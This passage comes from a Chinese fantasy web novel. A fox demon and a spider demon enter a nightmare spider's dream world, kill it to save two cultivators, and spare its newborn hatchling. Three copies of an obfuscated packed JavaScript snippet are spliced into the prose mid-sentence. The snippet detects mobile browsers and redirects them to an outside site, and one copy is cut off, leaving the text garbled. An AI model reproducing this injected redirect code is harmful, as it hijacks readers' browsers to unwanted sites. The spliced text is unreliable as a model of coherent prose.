“何止认识!”红衣女童咬牙切齿地说,“我们是同一只母蜘蛛生下的同一批卵中,一先一后孵化出来的两只蜘蛛!” “啊?”胡翘翘惊讶,“那你们两个岂不是姐妹?她为什么要害你长不高呢?” “哼,她不是想让我长不高,而是想让我变成她的傀儡!”红衣女童眼中闪过一丝恨意,“要不是我和梦魇血脉相近,对它的毒素有很强的抗性,恐怕当时就被梦魇得逞了。” “为什么,兄弟姐妹之间,不是应该相亲相爱么?” “也许你们狐狸是这样,但我们蜘蛛一族不一样,”红衣女童眼中闪过一丝复杂的神色,喃喃地道,“每一次,母蜘蛛都是一口气生下几百几千个孩子,然后就直接离开,而最先破卵而出的小蜘蛛,就会吃掉那些还没来得及孵化的兄弟姐妹,这样才能获得足够的营养,从而顺利长大,如果吃得太慢,或是不够强壮,也有可能会被更强壮的、先出生的兄弟姐妹给吃掉。” 所以,在蜘蛛之间,根本没有什么手足亲情可言,有的只是你吃我、我吃你的互相竞争,都想方设法地要吃掉对方,让自己活下去。 “梦魇和我,便是一批卵里最先孵化出来的两只小蜘蛛。我们从小就互相争抢食物、争抢地盘,彼此视为眼中钉、肉中刺。直到有一天,我们遇到了一只虫妖的尸体……” 它们凭借本能,分食了那只虫妖的血肉,结果都开了灵智。 梦魇运气好,产生了变异。 而她,却只是一只普通蛛妖。 正因此,原本她稍强一点,结果在化形之后,反而落了下风。 “要不是她,我怎么会长不高?!我和她仇深似海!”红衣女童双手叉腰,目露凶光,“可恶,我迟早要吃了它!” “玉珠儿,你就会说大话,”那声音又冒了出来,带着几分嘲讽之意,“我就在深层梦境里,你敢来么?” 玉珠儿气得又变成了蜘蛛,满屋子的暴跳如雷。 “可恶,有种你从深层梦境里出来!” “有种你进来。” “你出来。” “你进来。” “你出来!” “你进来~” “你出——” 眼看这嘴仗有无限循环下去的趋势,胡翘翘终于忍不住,轻咳一声,打断了她,“那个,你能不能告诉我,深层梦境又是什么?” “哼,梦魇能创造梦境,而它创造的梦境一共有三层,分为浅层梦境、中层梦境和深层梦境。”玉珠儿悻悻地道,“这三层梦境也是一层比一层危险。尤其是深层梦境,在里面,梦魇的实力会比在外面强大好几倍!” 她现在已经凝成了妖珠,如果在中层梦境,她有信心不输给梦魇,甚至还能略占上风。 但若是去了深层梦境…… 她估计还是只有被追得满地乱爬的份儿。 玉珠儿突然又张开嘴,闪电般地吐出几条蛛丝,旋即传来噗嗤噗嗤几声,射穿了几只正从角落里偷偷摸摸爬过来的梦蛛 。 “真卑鄙,一天到晚搞偷袭!” 这时,胡翘翘指着沉睡中的石珊珊和许曼:“那你知道要怎么才能让他们醒过来吗?” “她们的魂魄已经被梦魇拉去了深层梦境,所以才会一睡不醒。”玉珠儿哼了一声,漫不经心道,“想救她们,只能去深层梦境。” “深层梦境……”胡翘翘迟疑了下,小心翼翼地问道,“要怎么去呢?” 玉珠儿瞥了她一眼,没好气地道,“小狐妖,就你这点实力,难道还想打败梦魇啊?在深层梦境里面,十个你加起来,也不是梦魇的对手。” “……”也对。 胡翘翘再次思索,很快,又是双眸一亮,“那要不,我先回长陵城,找来厉害的人,再回来对付梦魇。” 玉珠儿无语,“笨蛋,梦魇没长脚吗?等你找了人再来,它还会乖乖在这等着你吗?” 胡翘翘这才反应过来,顿时小脸沮丧,“那怎么办?” 玉珠儿变回女童,看着许曼和石珊珊,咽了下口水,提出一个很真诚也很实际的建议。 “依我看,她们是没救了,不要浪费食物,让我吃了吧。” 嗯,漂亮的女人,吃起来应该是香喷喷的。 第126章 深层梦境 小狐狸生气了,板起俏脸,对玉珠儿怒目而视,“她们是我的朋友!我是不会让你吃了她们的!” 玉珠儿跳上凳子,两只手撑着凳子边沿,两条小短腿晃悠着,嘴里小声嘀咕:“不吃就不吃吧……唉,真浪费……” 这时,她的耳边忽然响起了某个人说话的声音。 “大坏蛋,你也来了?”她有些意外,脱口而出。 胡翘翘一愣,小脑袋左右看去,“谁是大坏蛋呀?” 玉珠儿恢复了若无其事,“没什么,只是树的影子,我看错了。” 她眨了下大眼,目光略微闪烁,忽然说,“要不然,我陪你一块儿去深层梦境,到时我尽量帮你拖住梦魇,你再想办法救你的朋友。” 胡翘翘顿时一振,随即又有些迟疑,“这样能行么?” “只是拖住她一会儿的话,”玉珠儿一脸胸有成竹,“我还是有七八成把握的。” 胡翘翘看着玉珠儿,“你为什么要帮我们?” “很简单,敌人的敌人,就是朋友。如果梦魇吞噬了她们,她的实力就会进一步增长,我以后就不是她的对手了。” 这个理由很有说服力,胡翘翘点点头:“好,我们一起去!” “不过,有一个条件!” “什么?” “我得留着实力对付梦魇,所以从浅层梦境到中层梦境,沿路上的危险都需要你来解决,不到万不得已,我不会出手。” 胡翘翘抿了下唇,郑重地点头,“嗯,应该的!” “那走吧!”玉珠儿跳下凳子,推开房门,“跟我来!” 两人来到村外的空地,玉珠儿停下了脚步。 只见她轻轻抬起右手,手心中喷出一缕又一缕的蛛丝,以她自己为中心,密布在虚空中,向四面八方延伸开去,仿若一张巨大的蛛网,逐渐覆盖整个村子。 “这是做什么?” “嘘。” 胡翘翘安静下来,只是看着。 这些蛛丝像是琴弦,每一根都带着它们独有的音色和频率,不停地发出细微的颤动,然后再将探测到的信息传递回来。玉珠儿闭着眼,全神聚集地感受着每一根蛛丝上传来的波动。 忽然,她睁开双眼,眼中精光闪烁。 “找到了!浅层梦境的入口!跟着我!” 说罢,她手腕一抖,朝前射出一道新的蛛丝,同时一跃而上,借着蛛丝向前弹射的力量,快速往前。 胡翘翘连忙跟上。 来到村中的水井前,玉珠儿说:“梦魇将它的浅层梦境的入口设在了这里,跟我跳下去。” 说完,她先一跃而入。 胡翘翘略一犹豫,也跟着跳了进去。 奇怪的是,明明井底充满了水,但她却像穿透空气般,没有碰到一滴水。这口井仿佛变成了一个深不见底的黑暗深渊,让她不停地往下坠落。 突如其来的天旋地转,让胡翘翘本能地闭上双眼。 “到了。”玉珠儿的声音响起。 与此同时,下坠的感觉消失了,双脚也稳稳地踩在了地面上。 胡翘翘睁开眼,发现玉珠儿就在她身边,再环顾四周,,顿时脸色一变。 眼前的世界变得奇怪无比,空间仿佛被扭曲,地面像是有生命般蠕动着,令人毛骨悚然。 忽然,一个个大小不一的身影从地下钻出,而且全都是超出她想象之力的各种最为丑陋最为凶恶的怪物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892996|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 比如有的全身生满触须,每一条都在疯狂的扭动。有的骨瘦如柴,偏偏肚腹如怀胎十月般的高高鼓起,肚皮上是一张大嘴,涎水直流。有的头部是一个巨大的肉瘤,脑袋却长在肉瘤旁边,只有拳头大小。还有的倒是人形,可人皮似乎被剥掉,全身鲜血淋漓…… 更为瘆人的,这些怪物似乎没有神智,一旦相遇,就开始相互啃咬,血肉横飞! 简直像是一个最为恐怖的噩梦。 胡翘翘吓了一跳,哧溜一下缩到地上,一把将身边的玉珠儿死死抱住了,同时小声道:“这里、这里不是梦魇的浅层梦境吗,怎么会有这么多怪物?” “被梦魇吞噬掉的人,就会最终化为梦境中的怪物,永远游荡在梦境中。另外,在梦境里,梦魇也可以制造出大量的怪物,这有什么可稀奇的,你没做过噩梦吗?” 玉珠儿又瞥了她一眼,“没用的小狐妖,一个浅层梦境就能把你吓成这样,松手,你要勒死我了!” 胡翘翘尴尬地松开手,干笑道,“我不是害怕,我就是有点、有点那个……” 绞尽脑汁的想了一会儿,她终于找到一个合适的词语。 “紧张。” “对,人家第一次看到这样的怪物,有点紧张难免的啊……” 小狐狸挺直了腰,努力强调着。 玉珠儿嗤笑了一声,没戳穿她的牛皮。 “那,我们该怎么去下一层?”胡翘翘又虚心求教。 玉珠儿还没说话,就在这时,几只怪物忽然身躯震动,似是有所察觉,目光看向了她们所在的方向。 “抓住她们……” 它们发出含混不清的嘶吼,露出沾满血污的尖牙,朝着她们的方向歪歪扭扭地奔来 第127章 诛杀梦魇 胡翘翘想起了许曼和石珊珊,她连忙转动目光,快速在深层梦境中搜寻起来。 很快,她见到了蛛网某处两个被蛛丝缠绕住的虚弱身影,惊叫出声。 “许道友,石道友!” 这时,她忽然察觉,两人的生气正被那些蛛丝一缕缕地抽出,然后源源不竭地传送向某个方向。 胡翘翘循着生气源流的方向望去,轻咦一声,“那是什么?” 她的视线落在梦魇的身子上,确切地说,是梦魇的身体下部,那八条狰狞巨大的蜘蛛腿之间的蛛网上,竟然密布着数百颗的圆球。 它们每一颗都有拳头大小,带着柔润的光泽,乍一看去,就像是几百颗巨大的珍珠,十分美丽。然而仔细感觉,却又能发现,它的表面竟然如有生命一般,一下一下的微微搏动,似乎里面正孕育着什么。 玉珠儿也看到了这些圆球,小脸上也露出惊疑之色。 “这些,难道是……” 梦魇顺着她们的目光看去,眼中闪过一丝不易察觉的柔情,嘴角也微微弯了起来。 “它们是我的孩子。” “孩子?你居然有了孩子?!”玉珠儿低呼出声,语气惊讶中,又有几分恍然,喃喃道,“我原本还觉得有些奇怪,你向来小心慎微,虽然爱吃人,但怕引来修士们的注意,一直做得很谨慎低调,每次也就一两人而已。这次你居然不光害了一整个村子的人,甚至连修士你都敢下手,原来是有了孩子!” “没错,我是为了它们。”梦魇点了点头,“它们天赋异禀,出生就是妖怪,但想让它们成长到破卵而出,需要大量的妖力,光凭我自己的妖力,根本无法支持它们每一天的成长所需……” 迫于无奈,她才将主意打到了许曼的身上。 胡翘翘忍不住道,“就算这样,为了你自己的孩子,就能随意牺牲无辜人的生命吗?” “为什么不能。” 梦魇声音平静,其内却仿佛又蕴含着一丝若有若无的悲伤:“为了让它们顺利出生,我连我丈夫都吃了,这些陌生人又算得了什么?” 胡翘翘心神大震,难以置信的看着她。 “你、你吃了你丈夫?” 虽然作为狐妖,她也不太讲究人类那些道德规矩,但吃掉自己丈夫这种事情,对她来说,依旧是匪夷所思到了极点。 玉珠儿倒是没有多少惊讶之色,只是轻咳了一声,“小狐妖,是这样的,在我们蜘蛛一族里,雌蜘蛛吃掉配偶是一件很正常的事情。” 胡翘翘愈发茫然:“为什么?”在她看来,爱情就应该是两情相悦,生死与共的,怎么到了蜘蛛一族,就变成了如此残酷的事情? “我们蜘蛛一族,每次孕育后代都是几百个孩子。”玉珠儿解释道,“为了保证能有足够的能量提供给体内的孩子,在营养不足时,雌性蜘蛛会吃掉配偶,作为孕育后代的养分。”” “这……”胡翘翘张了张嘴,却不知道该说什么好。 “听起来很残忍,对吗?”梦魇平静地道,“但这就是我们蜘蛛一族生存和繁衍的法则。” “可是,你真的吃了它,心里……真的不会伤心吗?”胡翘翘忍不住追问道。 她光是想象一下,若是有一天自己不小心咬了相公一口,就感觉心痛得仿佛要裂开一般,更别提将相公整个吞吃入腹。 梦魇丑陋的脸上浮现出一丝温柔的笑容:“我为什么要伤心?我吞食他,是为了获得足够的妖力,支撑到孩子们的出生。同样,他也是自愿让我吞食,是为了我们的孩子能茁壮成长。” “现在,他的血肉、他的妖力,都已经转化成了我的孩子们得以成长的养分。等到我们的孩子出生之后,我也会让他们吃了我,这样他们才能更好地长大。” 她低下头,看着那些圆球,丑陋的面容浮现出了温柔的母性,语气平淡,仿佛在说一件再平常不过的事:“我期待着他们的出生,期待将我自己的血肉和力量奉献给他们,我在等待着他们杀死我,再将我的尸体分食,对我来说,这就是我存在的意义,我心甘情愿,也十分期待!” “你是说……等那些小蜘蛛出生以后,还会连你也一起……”胡翘翘难以置信地瞪大了眼睛。 “没错,”梦魇笑了,“这是我们蜘蛛一族的本能,也是我身为母亲的责任。我不能陪伴它们长大,但我至少可以,用自己的血肉,为它们铺就一条,通往强大的道路……” 顿了顿,梦魇的目光落在两人的身上,语气意味深长:“当你们成为母亲之后,才会明白,一个母亲,为了自己的孩子,能做出什么样的事!不过,我估计你们是没有这个机会了……” 胡翘翘深吸一口气,努力压抑住心中翻涌的情绪,“所以,你是不会放过我的朋友了?” “呵呵,就连你们两个,也会变成我的孩子们的养分!”梦魇冷笑起来,“加上你们,就足够支持到他们的出生了!” “你想得美!” 玉珠儿身子一晃,现出原形,凶猛地朝着梦魇扑去,同时头也不回地喊道,“我拖住她,你去救人!” “好!”胡翘翘用最快的速度,飞到了许曼和石珊珊的身边。 她伸手去扯她们身上的蛛丝,却发现这些蛛丝坚韧无比,于是,一条手链脱落,变为长剑,在蛛丝根部划过去,直接将束缚住二女的几根蛛丝斩断。 胡翘翘一手抓住一个,正要扭头问玉珠儿,该怎么离开深层梦境时,忽然,正和玉珠儿争斗的梦魇发出一声狰狞的低吼,紧接着,诡异的事情再次发生。 那些原本分布在蛛网上的人类尸体,竟然开始一个个的脱离蛛网,然后匍匐蠕动起来。 他们就像是一条条的大虫,四肢软绵绵的,腰部拱起,用脑袋为支点,飞快的向前蠕动。 当它们汇聚在一起后,这些尸体竟然开始融合,它们就像不同颜色的橡皮泥一般,被胡乱的扭曲、捏在一起,慢慢形成了一个巨大的蜘蛛形怪物。 它盯着胡翘翘,在蛛网上,一步一步地逼近。 “好、好恶心……”胡翘翘顿时有种想吐的感觉,立即操控着飞剑,扎了过去。 噗嗤! 正中怪物的胸口,一个巨大的洞出现在那里。 但怪物仿佛毫无感觉,摇晃着身体,带着难闻的恶臭,冲着胡翘翘急速扑来。 别看它体型庞大,速度却快如闪电! 小狐狸面色一凛,极速后退的同时,长剑纵横开合,将这怪物彻底切碎。 但下一刻,梦魇再次低吼一声,这些碎块立刻开始飞快的汇聚起来,那尸山般的怪物又开始渐渐的形成。 胡翘翘顿时明白,这怪物和浅层梦境中的怪物一样,根本无法被彻底杀死! 尸山怪物再次扑来,小狐狸一边左闪右躲着它的攻击,一边感到深深的棘手。 杀不死,怎么办…… 更糟糕的是,她的妖力本来就没剩多少了,就连躲,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892997|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些吃力。 与此同时,梦魇也正和玉珠儿打得不可开交。 毒液、蛛丝、妖术……各种攻击漫天飞舞,战况异常激烈。 “你不是凝珠了么,就这点本事吗?”梦魇的声音尖锐刺耳,震得人耳膜发麻。 玉珠儿哼了一声,毫不示弱地回击:“丑八怪,若非是在这深层梦境,我早就一口吞了你!“ 深层梦境是梦魇的主场,在这里,她实力暴涨,纵然玉珠儿凝珠在先,也不得不全力以赴。 两人本是一母同胞,又斗了几百年,彼此招数路数都了如指掌,一时间,胜负难分。 但随着时间推移,玉珠儿渐渐落于下风,身上多了几道狰狞的伤口。 她心中焦急,不时回头去查看胡翘翘的情况,却发现胡翘翘被那个怪物缠住,无法分出手来带走许曼和石珊珊。 “该死,这妖术你什么时候练的?”玉珠儿咬牙切齿。 “玉珠儿,你还是太嫩了点!”梦魇得意地怪笑着,眼中凶光毕露,“今天新仇旧恨,正好一起报了!” 玉珠儿咬着牙,她很清楚,这样下去她和胡翘翘都必败无疑。 她知道,大坏蛋想要借此机会锻炼小狐妖的对敌应变能力,此刻必然在某处看着,真有她和小狐妖解决不了的生死危机,他定然会及时出手。 可是……她还是想亲手击败这个老对头! 就在这时,她的目光落在了梦魇身后那堆圆滚滚的卵上。 有了! 玉珠儿双目寒光一闪,故意卖了个破绽,引诱梦魇攻击。 梦魇果然上当,八条蛛腿猛地朝着玉珠儿刺去。 然而,就在这时,玉珠儿一张口,数十根蛛丝如利箭一般,朝着那些卵急刺过去! “哼,我要毁了它们!” “住手!你敢!” 梦魇顿时大惊失色,也顾不得攻击玉珠儿了,猛地转身,用自己的身躯挡住那些蛛丝。 “噗噗噗……” 蛛丝尽数扎进梦魇的身体,她痛得惨叫一声,血液飞溅。 玉珠儿咯咯笑了起来,果然和她想的一样,那些卵,是梦魇的软肋! “玉珠儿,干得漂亮!“胡翘翘也远远地看到了这一幕,忍不住欢呼起来。 “该死的小矮子,我杀了你!”梦魇的眼睛都红了,不顾一切地扑向玉珠儿。 结果,玉珠儿连躲都不躲,只是再次用蛛丝去攻击那些卵。 无奈之下,梦魇只能回身去保护它们。 “来呀,你来呀!”玉珠儿得意洋洋,操控着蛛丝,一次又一次地攻击那些卵。 梦魇被她气得七窍生烟,却也无可奈何,为了保护那些卵,她不得不一次又一次地用自己的身体去抵挡玉珠儿的攻击,很快就遍体鳞伤,看上去狼狈不堪。 “丑八怪,你要是现在投降认输,玉珠儿心情好,说不定还留你一条命!“玉珠儿笑嘻嘻地说,心中充满了报复的快感。 梦魇看向玉珠儿的眼中射出怨毒的怒火,“小矮子,你好卑鄙!” “哼,卑鄙是什么,我听不懂!”玉珠儿得意洋洋,她只知道,自己快要赢了! 就在这时,她却突然感到背后一股恶风袭来。 不知何时,方才正与胡翘翘缠斗的那怪物,竟然出现在了玉珠儿的身后。 “小心!”胡翘翘惊呼一声,却已经来不及了。 “砰!” 第128章 她只在乎他 梦魇的脑袋落到地上,声音空洞颤抖,“为、为什么……” 仿佛地震一般,整个深层梦境都震颤起来,仿若一个由积木搭建成的世界,被抽离了最重要的那一块,开始摇摇欲坠。 那只由无数尸体拼凑而成的恐怖蜘蛛,像是失去了支撑一般,发出令人毛骨悚然的“哗啦”一声巨响,瞬间崩解成无数块腐肉,散落一地。 玉珠儿挣脱了身上的蛛丝,走到梦魇的脑袋面前,带着胜利者的姿态,抬起一只脚,狠狠地踩在梦魇的脸上,得意洋洋地笑道:“丑八怪,你输了,给你三个呼吸的时间,想好你的遗言,然后准备去轮回界吧,你害了这么多人,功德一定负很多了,和尚说,像你这样的妖怪,会被打进地狱里去,起码要下油锅炸个几千年才能重新投胎哦。” 她本以为梦魇会恐惧,或是愤怒,或是怨恨,没想到,梦魇的脸上竟然没有流露出任何一种她预想中的情绪。它只是静默了片刻,喃喃道,“让我再看一眼睛我的孩子,行吗?” 玉珠儿脸上的得意之色淡了一些,沉默片刻,缓缓将脚从梦魇的脸上移开。 梦魇用两只爪子捧起自己的脑袋,然后慢慢地爬到那堆卵旁边,目光极度不舍地掠过它们,两只眼睛里流下眼泪,。 “对不起,对不起……妈妈没有办法,亲眼看到你们出生了……” 不知为何,胡翘翘的心中忽然微微一酸。 她知道梦魇害了很多很多人,死有余辜,可是她依然为她对自己孩子的感情所触动。 如果她是妈妈,眼睁睁看着自己的孩子即将面临死亡,她又会怎样? 应该也会不顾一切地去保护他们吧? 梦魇抬起目光,看着胡翘翘和玉珠儿,嘶哑的声音里充满了祈求,甚至有一丝卑微,“一切罪孽,归于我身,我没有想过为自己辩解,孩子是无辜的,你们能不能放过它们?” 玉珠儿冷哼了一声,“放过它们?你做梦!” 梦魇心中一沉,不过她早料到玉珠儿不会答应,于是转动脑袋,看向了胡翘翘。 她看得出,这只狐妖是个软心肠,只要能说服对方,答应下来,玉珠儿就没法真的下杀手了。 吃力地道,“求求你……” 胡翘翘果然动摇了,梦魇的眼神充满了哀求,让她不忍拒绝。 “可是,就算我答应你,我也没办法让它们孵化呀……你也说了,它们需要消耗很多妖力才行……”她内心挣扎着,小声说。 “你等等……”,梦魇看出了胡翘翘的犹豫,艰难地吐出这几个字后,便撑着最后一口气,将自己剩余的妖力全部灌注到一颗完好的卵中。 很快,那颗卵的外壳就出现了裂缝,一只成人拳头大小,外壳呈现半透明的乳白色,但外形看着和梦魇一模一样的小蜘蛛爬了出来。它凭着本能爬到梦魇的身上,开始吸吮她的血液。 梦魇看着它,目光中充满慈爱,过了会儿,才转头看向胡翘翘,求恳:“就她一个……可以吗?” 她不想为难胡翘翘,只求能留下一个孩子,延续自己的血脉。 胡翘翘沉默了,内心在做着激烈的斗争。 玉珠儿眼底却闪过一抹杀意,“就算她答应了,我也不会答应!” 梦魇没有理会玉珠儿,她温柔地看着趴在自己身上吸吮血液的小蜘蛛,眼中充满了慈爱,仿佛在安抚它,又仿佛在告别。 做完这一切,她转头看向玉珠儿,语气中带着一丝伤感和卑微:“玉珠儿,我们总归是姐妹一场,我们的身体里流着同样的血液,你真的连我的唯一的孩子,都容不下吗?她没有做过任何伤害你的事情……” 玉珠儿咬着嘴唇,小脸神情复杂变幻,最终只是哼了一声,别过头去。 “算了,反正我不管,别找我!” 梦魇的目光再次落在了胡翘翘身上,“我知道,我罪孽深重,但这孩子是无辜的,你、你能同意吗?求求、求求你……我只希望她能活下去……” 梦魇的话还没说完,那只小蜘蛛突然打了个饱嗝,懒洋洋地吐出几根蛛丝,然后趴在那里,沉沉地睡去。 胡翘翘:“……” 她又看了一眼那只小蜘蛛。 这只小蜘蛛和玉珠儿、梦魇都不一样,全身呈现半透明的乳白色,此刻趴在那里,简直就像一颗晶莹剔透的糯米团子,奶呼呼的,模样可爱得不得了。 杀死梦魇她没什么心理压力,但要杀死和她没有任何仇恨,又是刚出生的一只小蜘蛛,胡翘翘实在狠不下心。 “好吧,”她最终还是心软了,“今天我可以放过它,但以后会怎么样,我无法保证。” 梦魇闻言,丑陋的脸上浮现出一丝笑容,它最后看了那只小蜘蛛一眼,捧着脑袋的前肢缓缓松开,庞大的身躯轰然倒地,头颅滚落一旁,双目缓缓闭上,再也没有睁开。 玉珠儿弹出一根蛛丝,将小蜘蛛拎在手中,而后身形暴涨,一口将梦魇的尸体吞进了肚子里,打了个饱嗝。 与此同时,浅层梦境里,那些怪物们哀嚎阵阵,最终沦为烟雾…… 接着是中层梦境,无数的梦蛛们发出尖叫厉啸,不停爆炸开来…… 深层梦境里,蛛网也一根根的淡化消失,所有的魂魄脱离了蛛网的束缚,向天空漂浮而去,包括许曼和石珊珊的在内。 突然,整个深层梦境如崩散的马赛克般破裂成无数片,又像是指间流沙一样飞快消散…… 天旋地转,时空扭曲。 当胡翘翘再次睁开双眼,发现自己和玉珠儿此刻竟然悬浮在那口水井之上,四周依旧是那个叫做落霞村的小村庄,除了依旧静悄悄之外,再也没有半点来自于梦魇的梦境的痕迹,仿佛之前所经的一切真的只是一个光怪陆离的梦。 “我们……这是出来了吗?”胡翘翘茫然四顾,她还没有搞清楚刚才到底发生了什么,一切在电光火石之间就已经改变。 “是的,我们出来了。”玉珠儿点点头。 梦魇被彻底灭杀,梦境也随之破解。 梦终究是梦,无论多么镜花水月、光怪陆离,都在被破解的顷刻间,便化为乌有。 “那我朋友她们……”胡翘翘看向许曼的家的方向。 玉珠儿会意,说:“她们马上就会醒来。” “我去看看,”胡翘翘刚要迈步,却又突然停住,转头看向玉珠儿,带着几分犹豫问道,“那个……你呢?你要一起吗?” 虽然只是初次相遇,相处的时间也很短暂,但两人并肩经历过一场恶战,又同为妖族,胡翘翘对玉珠儿还是挺有好感的。 玉珠儿吐出蛛丝,倏忽间荡到了一边的大树上,趴在树杈上,懒洋洋地说,“我不去,我可不爱和那些道貌岸然的修士打交道。对了,她们待会儿要是问你发生了什么事,你怎么说?” 胡翘翘微微一愣,“老实说啊。” “笨死了,你是想告诉他们,你放过了梦魇的孩子吗?”玉珠儿晃了晃手中的小蜘蛛,它被晃醒了,八只毛茸茸的小脚丫在空中无助地扑腾着,她提醒道,“这里的村民已经大半都死在了梦魇的手中,你不怕还活着的那些人恨死你啊?” “啊……”胡翘翘一怔,小声问,“那该怎么办呀?” “有些话不该说,就不要说。”玉珠儿顿了顿,补充,“也不要提我,会有麻烦的。” “噢,知道了。” 看着胡翘翘跑远的身影,玉珠儿忽然叫了一声,“大坏蛋!” 陈子均现身出来,问:“怎么了?” 玉珠儿指了指那只小蜘蛛:“这个怎么办?” “你问我?” “小狐妖惹出来的事儿,”玉珠儿瞪大了眼,“我不问你问谁?” 陈子均淡淡地说:“你养着吧。” “不要,我自己都还是个宝宝呢,”玉珠儿摇头道,“何况,我刚吞吃了梦魇,自己还需要找个安静的地方,闭关消化,哪有功夫养这小东西?” “那你的意思是什么?” 玉珠儿转了转眼珠子,振振有词的开口。 “我听和尚说过,人类养小孩挺麻烦的,不如你和小狐妖正好练习练习,积攒点经验,等以后你们有了孩子,一回生二回熟,自然就得心应手的了……” 陈子均挑了挑眉,“和尚?哪个和尚?” 玉珠儿这才发现说漏了嘴,目光闪烁地环顾四周,“什么和尚,我不知道,你听错了吧?” 陈子均:“……” 许曼家中。 石珊珊先迷迷糊糊地醒了过来。 她落入梦魇的手中不久,所以魂魄受损并不严重,没多久便恢复了意识。 “石道友,你醒了?”胡翘翘连忙迎了上去,脸上带着几分关切,“感觉怎么样?有没有哪里不舒服?” “我没事,”石珊珊摇了摇头,眼中还带着几分迷茫,“对了,胡道友,我刚刚是睡着了吗?为什么我突然一下什么都不知道了?” 在等待石珊珊苏醒的期间,胡翘翘已经打好了腹稿,此刻她将整件事避重就轻、掐头去尾地说了一遍,当然,关于玉珠儿和梦魇孩子的事情,她只字未提。 “梦魇?!深层梦境?!”石珊珊一路听得一惊一乍,听到最后,深吸口气,“所以说,是胡道友你将梦魇打败了,救了我和师姐,对吗?” “对啊,”胡翘翘干咳了两声,硬着头皮说道,“其实我也就是碰运气,凑巧,凑巧……” 这怎么可能是凑巧呢? 石珊珊的心里对胡翘翘是无比的崇拜。 单枪匹马、毫发未伤地就干掉了如此恐怖的梦魇,果然不愧是前辈,实力深不可测。 为了避免石珊珊继续追问下去,胡翘翘连忙转移话题:“对了,后面的事情该怎么处理?” 石珊珊起身,去查看了一下许曼的情况,神色有些黯然。 “师姐的魂魄受损比较严重,可能要再过一段时间才能苏醒。”她一边说着,一边从储物袋里掏出一张传音符,“我马上通知宗门,相信很快就会有长老赶来处理后续事宜。” “那太好了。”胡翘翘连忙说道,“既然如此,那我就先告辞了。” “胡道友这就走了?”石珊珊一愣,“你救了我和师姐,我们长老一定会感谢你的。” “不了不了,”胡翘翘连连摆手,“我看时间不早了,相公没准已经在家等急了 ,还是不打扰了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小狐狸不忍心了,“你、你真扔了它啊?它才刚出生没多久呢……” “放心吧,它出生就是半妖,在卵中就开了灵智,现在只是在装可怜呢。”玉珠儿蹲下身子,眯起眼,盯着小蜘蛛,“小东西,再装模作样的,我吃了你!” 小蜘蛛眼神不定地看着玉珠儿,似乎察觉到她的话不像是空洞的威胁,迟疑了下,爬起身来,后退两步,对她龇出獠牙,奶凶奶凶地道,“咝咝——坏姨妈,你吃了我妈妈,还要扔了我,我讨厌你!” “……” 胡翘翘沉默了。 这么小的蜘蛛,演技居然这么好?! 方才相信了它那副可怜兮兮模样的自己,简直像个傻子! 玉珠儿,“怎么样,我没说错吧!你放心吧,只要不碰到真正的大妖,它死不了的。” 小蜘蛛扭头,可怜巴巴地看向胡翘翘,奶声奶气地说:“姐姐,你带我回去吧,我会乖乖听话的……” 胡翘翘的心软了几分,她踌躇了许久,才从储物袋里摸出装着灵液的那个小瓶,柔声对小蜘蛛说,“对不起呀,我真的没办法带你回家……要不这样吧,我给你几滴能帮你增进修为的灵液做补偿,好不好?” 小蜘蛛看看灵液,又看看胡翘翘,八只乌溜溜的眼睛滴溜溜地转,像是在思考着什么。半晌,它像是终于做出了决定,张开了嘴。 胡翘翘蹲下来,对着它的嘴,倒出了两三滴灵液。 小蜘蛛咽下后,露出心满意足之色,八只眼睛满足地眯了起来。 胡翘翘忍不住伸出手指,轻轻挠了挠它的小脑袋。 小蜘蛛舒服地晃了晃脑袋,忽然张开嘴,对着胡翘翘的指尖咬了下去。 啊!”胡翘翘惊呼一声,下意识地想缩回手,却发现小蜘蛛咬住就不松口,伤口还传来一阵轻微的麻痒感觉。 “你这小东西,怎么恩将仇报啊!”小狐狸又气又恼,又疼又委屈,眼眶都红了。 “别动,让它咬。”玉珠儿忽然说。 胡翘翘一愣,看向她:“为什么?” “它是在感谢你呢。”玉珠儿笑嘻嘻地说,“我们蜘蛛一族,向来是有恩报恩,有仇报仇的,你给它喝了那么多灵液,它自然要好好报答你啦。” “报答我?咬我一口就是报答?” “笨蛋,它在往你体内注入我们蜘蛛一族的毒源,等你的身体吸收后,对各种毒素就都会产生抵抗之力,以后便没那么容易中毒了。” 小蜘蛛吸了一会儿,才松开了嘴,看了胡翘翘一眼后,便头也不回地钻进了草丛深处,一溜烟就不见了踪影。 胡翘翘低头一看,白嫩的指尖上赫然出现了两个细小的牙印,不过倒是问题不大。 玉珠儿问:“感觉怎么样?” “还好……” 胡翘翘刚说完,忽然涌起一股强烈的睡意,眼皮也开始变得沉重起来。她摇了摇头,努力想要清醒一些,可这睡意却如同潮水般一波接着一波地袭来,让她无力抵抗。 “奇怪,我怎么突然这么困……玉珠儿,我先回家睡觉啦……” 揉了揉眼睛,她转身朝着长陵城的方向,歪歪扭扭地飞去。 第129章 我要咬相公 